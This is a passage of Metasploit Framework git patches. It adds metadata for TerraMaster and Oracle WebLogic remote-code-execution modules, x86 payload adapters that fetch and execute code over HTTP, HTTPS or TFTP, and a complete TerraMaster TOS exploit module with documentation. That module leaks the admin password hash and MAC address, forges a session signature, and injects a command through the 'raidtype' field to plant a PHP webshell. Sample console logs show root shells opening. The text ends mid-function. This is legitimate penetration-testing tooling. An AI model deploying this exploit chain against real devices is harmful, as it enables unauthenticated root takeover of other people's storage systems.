@version < Rex::Version.new('13') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ @@ -499,7 +496,7 @@ def exploit "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ "\x00\x00\x00\x00\x00\x00\x00{{key1}}" - elsif @version.between?(Rex::Version.new('14.0.0.0.0'), Rex::Version.new('14.9999999.999999.999999.99999')) + elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ From 5dba72cf5ed4e7d632c661f6428f0a50dff29258 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 9 Jun 2023 12:46:16 -0500 Subject: [PATCH 353/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 66 +++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 537481e8c43b1..5498a1479bd8d 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -71671,6 +71671,72 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/terramaster_unauth_rce_cve_2021_45837": { + "name": "TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.", + "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2021_45837", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-12-24", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "n0tme" + ], + "description": "Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows\n an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.\n CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other\n information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.\n This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker\n can self-sign session cookies by knowing the target MAC address and the user password hash.\n Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker\n to login as guest.\n Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted\n input to vulnerable endpoint `/tos/index.php?app/del`.", + "references": [ + "CVE-2021-45837", + "CVE-2021-45839", + "CVE-2021-45841", + "URL-https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/", + "PACKETSTORM-165399", + "URL-https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837" + ], + "platform": "Linux,Unix", + "arch": "cmd, x64, x86, aarch64", + "rport": 8181, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-06-08 21:25:40 +0000", + "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb", + "is_install_path": true, + "ref_name": "linux/http/terramaster_unauth_rce_cve_2021_45837", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/tiki_calendar_exec": { "name": "Tiki-Wiki CMS Calendar Command Execution", "fullname": "exploit/linux/http/tiki_calendar_exec", From fce6450a955bd33e81e6b5eeb172f84b3a035fee Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 9 Jun 2023 14:18:50 -0500 Subject: [PATCH 354/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 56 +++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 5498a1479bd8d..d1abadeff725f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -101409,6 +101409,62 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/iiop/cve_2023_21839_weblogic_rce": { + "name": "Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization", + "fullname": "exploit/multi/iiop/cve_2023_21839_weblogic_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-01-17", + "type": "exploit", + "author": [ + "4ra1n", + "14m3ta7k", + "Grant Willcox" + ], + "description": "Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated\n remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes\n a \"ForeignOpaqueReference\" class object, deserializes it on the target, and then post deserialization, calls the\n object's \"getReferent()\" method, which will make use of the \"ForeignOpaqueReference\" class's \"remoteJNDIName\" variable,\n which is under the attackers control, to do a remote loading of the JNDI address specified by \"remoteJNDIName\" via\n the \"lookup()\" function.\n\n This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting\n a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to\n create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java\n code during the instantiation of the object, thereby getting remote code execution as the \"oracle\" user.\n\n This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will\n then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java\n class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,\n at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate\n an instance of that class, granting us RCE as the \"oracle\" user.\n\n This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability", + "references": [ + "CVE-2023-21839", + "URL-https://www.oracle.com/security-alerts/cpujan2023.html", + "URL-https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md", + "URL-https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md", + "URL-https://github.com/4ra1n/CVE-2023-21839", + "URL-https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability" + ], + "platform": "", + "arch": "", + "rport": 7001, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Linux" + ], + "mod_time": "2023-06-09 12:24:35 +0000", + "path": "/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb", + "is_install_path": true, + "ref_name": "multi/iiop/cve_2023_21839_weblogic_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/kubernetes/exec": { "name": "Kubernetes authenticated code execution", "fullname": "exploit/multi/kubernetes/exec", From 0ba65b7393fa228287830ec6e1b6ced4ae2c3dab Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Jun 2023 16:47:45 -0400 Subject: [PATCH 355/415] Add the x86 fetch payloads --- .../payloads/adapters/cmd/linux/http/x86.rb | 25 +++++++++++++++++++ .../adapters/cmd/linux/https/mips64.rb | 2 +- .../payloads/adapters/cmd/linux/https/x86.rb | 25 +++++++++++++++++++ .../payloads/adapters/cmd/linux/tftp/x86.rb | 25 +++++++++++++++++++ 4 files changed, 76 insertions(+), 1 deletion(-) create mode 100644 modules/payloads/adapters/cmd/linux/http/x86.rb create mode 100644 modules/payloads/adapters/cmd/linux/https/x86.rb create mode 100644 modules/payloads/adapters/cmd/linux/tftp/x86.rb diff --git a/modules/payloads/adapters/cmd/linux/http/x86.rb b/modules/payloads/adapters/cmd/linux/http/x86.rb new file mode 100644 index 0000000000000..bdd7624ddad8d --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a x86 payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/mips64.rb b/modules/payloads/adapters/cmd/linux/https/mips64.rb index 011e91ceb43c0..05c15d6b482fe 100644 --- a/modules/payloads/adapters/cmd/linux/https/mips64.rb +++ b/modules/payloads/adapters/cmd/linux/https/mips64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTPS Fetch', - 'Description' => 'Fetch and execute an x64 payload from an HTTPS server.', + 'Description' => 'Fetch and execute an MIPS64 payload from an HTTPS server.', 'Author' => ['Brendan Watters', 'Spencer McIntyre'], 'Platform' => 'linux', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/adapters/cmd/linux/https/x86.rb b/modules/payloads/adapters/cmd/linux/https/x86.rb new file mode 100644 index 0000000000000..875cdd27dbfdd --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an x86 payload from an HTTPS server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/x86.rb b/modules/payloads/adapters/cmd/linux/tftp/x86.rb new file mode 100644 index 0000000000000..36f5aa5030d96 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and execute a x86 payload from a TFTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end From c579c43b7235e405469a52bdddc6a6f9492d6312 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Jun 2023 16:50:28 -0400 Subject: [PATCH 356/415] Update payloads_spec.rb for x86 fetch --- spec/modules/payloads_spec.rb | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index c86713e49c3c1..840a15d1ce78d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -556,6 +556,30 @@ reference_name: 'cmd/linux/tftp/x64' end + context 'cmd/linux/http/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x86' + ], + reference_name: 'cmd/linux/http/x86' + end + + context 'cmd/linux/https/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x86' + ], + reference_name: 'cmd/linux/https/x86' + end + + context 'cmd/linux/tftp/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/x86' + ], + reference_name: 'cmd/linux/tftp/x86' + end + context 'cmd/mainframe/generic_jcl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 43003eefa890a3e8fcab0404ca3cf79d35d49e24 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 9 Jun 2023 18:11:26 -0500 Subject: [PATCH 357/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 67 +++++++++++++++++++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index d1abadeff725f..773e8317896b6 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -71671,6 +71671,73 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/terramaster_unauth_rce_cve_2020_35665": { + "name": "TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2020_35665", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2020-12-12", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "IHTeam" + ], + "description": "This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06\n and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`\n during CSV creation.\n Any unauthenticated user can therefore execute commands on the system under the same privileges as the\n web application, which typically runs under root at the TerraMaster Operating System.", + "references": [ + "CVE-2020-35665", + "CVE-2020-28188", + "PACKETSTORM-160685", + "PACKETSTORM-160687", + "URL-https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", + "URL-https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665" + ], + "platform": "Linux,Unix", + "arch": "cmd, php, x64, x86, aarch64", + "rport": 8181, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP", + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-06-08 07:39:44 +0000", + "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb", + "is_install_path": true, + "ref_name": "linux/http/terramaster_unauth_rce_cve_2020_35665", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/terramaster_unauth_rce_cve_2021_45837": { "name": "TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.", "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2021_45837", From 417c9fa5915b741359424dbd51295303678a0ae2 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sat, 10 Jun 2023 09:42:32 +0000 Subject: [PATCH 358/415] init commit module and documentation --- .../terramaster_unauth_rce_cve_2022_24990.md | 198 ++++++++++++++ .../terramaster_unauth_rce_cve_2022_24990.rb | 258 ++++++++++++++++++ 2 files changed, 456 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md create mode 100644 modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md new file mode 100644 index 0000000000000..d805d41a67398 --- /dev/null +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md @@ -0,0 +1,198 @@ +## Vulnerable Application + +This module combines [CVE-2022-24990: Leaking sensitive information](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24990) and +[CVE-2022-24989: Authenticated remote code execution](https://www.redpacketsecurity.com/terramaster-tos-command-execution-cve-2022-24989/) +to achieve an unauthenticated RCE by exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as +admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpoint`api.php?mobile/createRaid` with +`POST` parameters `raidtype` / `diskstring` to upload a webshell and execute remote code as root on TerraMaster NAS devices. + +Installing a vulnerable test bed requires a TerraMaster NAS device that can run `TOS 4.x` +This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: + +* TerraMaster F2-221 +* CPU: `x86` +* TOS Version: `4.2.08` + +## Verification Steps + +1. `use exploit/linux/http/terramaster_unauth_rce_cve_2022_24990` +1. `set RHOSTS ` +1. `set RPORT ` +1. `set LHOST ` +1. `set LPORT ` +1. `set TARGET <0-PHP, 1-Unix command or 2-Linux Dropper>` +1. `exploit` +1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. + +## Options + +### WEBSHELL +You can use this option to set the filename and extension (should be .php) of the webshell. +This is handy if you want to test the webshell upload and execution with different file names. +to bypass any security settings on the Web and PHP server. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios + +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > info + + Name: TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989 + Module: exploit/linux/http/terramaster_unauth_rce_cve_2022_24990 + Platform: Unix, Linux + Arch: cmd, php, x64, x86, aarch64 + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2022-03-07 + +Provided by: + h00die-gr3y + Octagon Networks + 0xf4n9x + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h + tml + RPORT 8181 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Path to Terramaster Web console + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no Web shell name with extension .php. Name will be randomly generated if left unset. + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0 + .0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29 + and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information" + and CVE-2022-24989, "Authenticated remote code execution". + Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password + hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint + `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to upload a webshell and + execute remote code as root on TerraMaster NAS devices. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-24990 + https://nvd.nist.gov/vuln/detail/CVE-2022-24989 + https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ + https://github.com/0xf4n9x/CVE-2022-24990 + https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990 + + +View the full module info with the info -d command. +``` + +### TerraMaster F2-221 TOS 4.2.08 - PHP native `php/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 0 +target => 0 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 127.0.0.1 +[+] Deleted cuckoo.php +[*] Meterpreter session 1 opened (192.168.10.1:4444 -> 192.168.10.2:55766) at 2023-06-10 12:20:10 +0000 + +meterpreter > sysinfo +Computer : TerrorMaster +OS : Linux TerrorMaster 4.13.16 SMP Mon Jun 10 14:20:56 CET 2023 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: root +meterpreter > +``` +### TerraMaster F2-221 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 1 +target => 1 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted cuckoo.php +[*] Command shell session 2 opened (192.168.10.1:4444 -> 192.168.10.2:54556) at 2023-06-10 12:31:22 +0000 + +uname -a +Linux TerrorMaster 4.13.16 SMP Mon Jun 10 14:32:13 CET 2023 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +``` +### TerraMaster F2-221 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 2 +target => 2 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045348 bytes) to 127.0.0.1 +[+] Deleted cuckoo.php +[*] Meterpreter session 3 opened (192.168.10.1:4444 -> 192.168.10.2:46174) at 2023-06-10 12:39:01 +0000 +[*] Command Stager progress - 100.00% done (810/810 bytes) + +meterpreter > sysinfo +Computer : 192.168.10.2 +OS : (Linux 4.13.16) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Limitations +No limitations. diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb new file mode 100644 index 0000000000000..9aa647d3da3ad --- /dev/null +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb @@ -0,0 +1,258 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest/md5' +require 'time' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29 + and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information" + and CVE-2022-24989, "Authenticated remote code execution". + Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password + hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint + `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to upload a webshell and + execute remote code as root on TerraMaster NAS devices. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Octagon Networks', # Discovery + '0xf4n9x' # POC + ], + 'References' => [ + ['CVE', '2022-24990'], + ['CVE', '2022-24989'], + ['URL', 'https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/'], + ['URL', 'https://github.com/0xf4n9x/CVE-2022-24990'], + ['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990'] + ], + 'DisclosureDate' => '2022-03-07', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Privileged' => true, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8181, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']), + OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]), + OptEnum.new('COMMAND', + [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) + ]) + end + + def get_data + # Initialise variable data to store the leaked data + @data = {} + + # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS` + # CVE-2022-24990 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'), + 'headers' => { + 'User-Agent' => 'TNAS' + } + }) + if res && res.code == 200 && res.body.include?('webNasIPS successful') + # Parse the JSON response and get the data such as admin password hash and MAC address + res_json = res.get_json_document + unless res_json.blank? + @data['password'] = res_json['data'].split('PWD:')[1].split('SAT')[0].strip + @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip + @data['key'] = @data['mac'][6..11] # last three MAC address entries + @data['timestamp'] = Time.new.to_i.to_s + # derive signature + @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp']) + end + end + end + + def tos_encrypt_str(key, str_to_encrypt) + id = key + str_to_encrypt + return Digest::MD5.hexdigest(id.encode('utf-8')) + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s) + + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = Rex::Text.rand_text_alphanumeric(1..8) + + # Upload PHP payload using vulnerable endpoint `api.php?mobile/createRaid` + # CVE-2022-24989 + webshell = if target['Type'] == :php + "echo '' > #{@webshell_name}" + else + "echo '' > #{@webshell_name}" + end + diskstring = Rex::Text.rand_text_alpha_upper(4..8) + + return send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/createRaid'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'User-Agent' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'], + 'Upgrade-Insecure-Requests' => '1' + }, + 'vars_post' => { + 'raidtype' => ';' + webshell.to_s, + 'diskstring' => diskstring.to_s + } + }) + end + + def get_terramaster_info + # get Terramaster CPU architecture (X64 or ARM64) and TOS version + @terramaster = {} + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 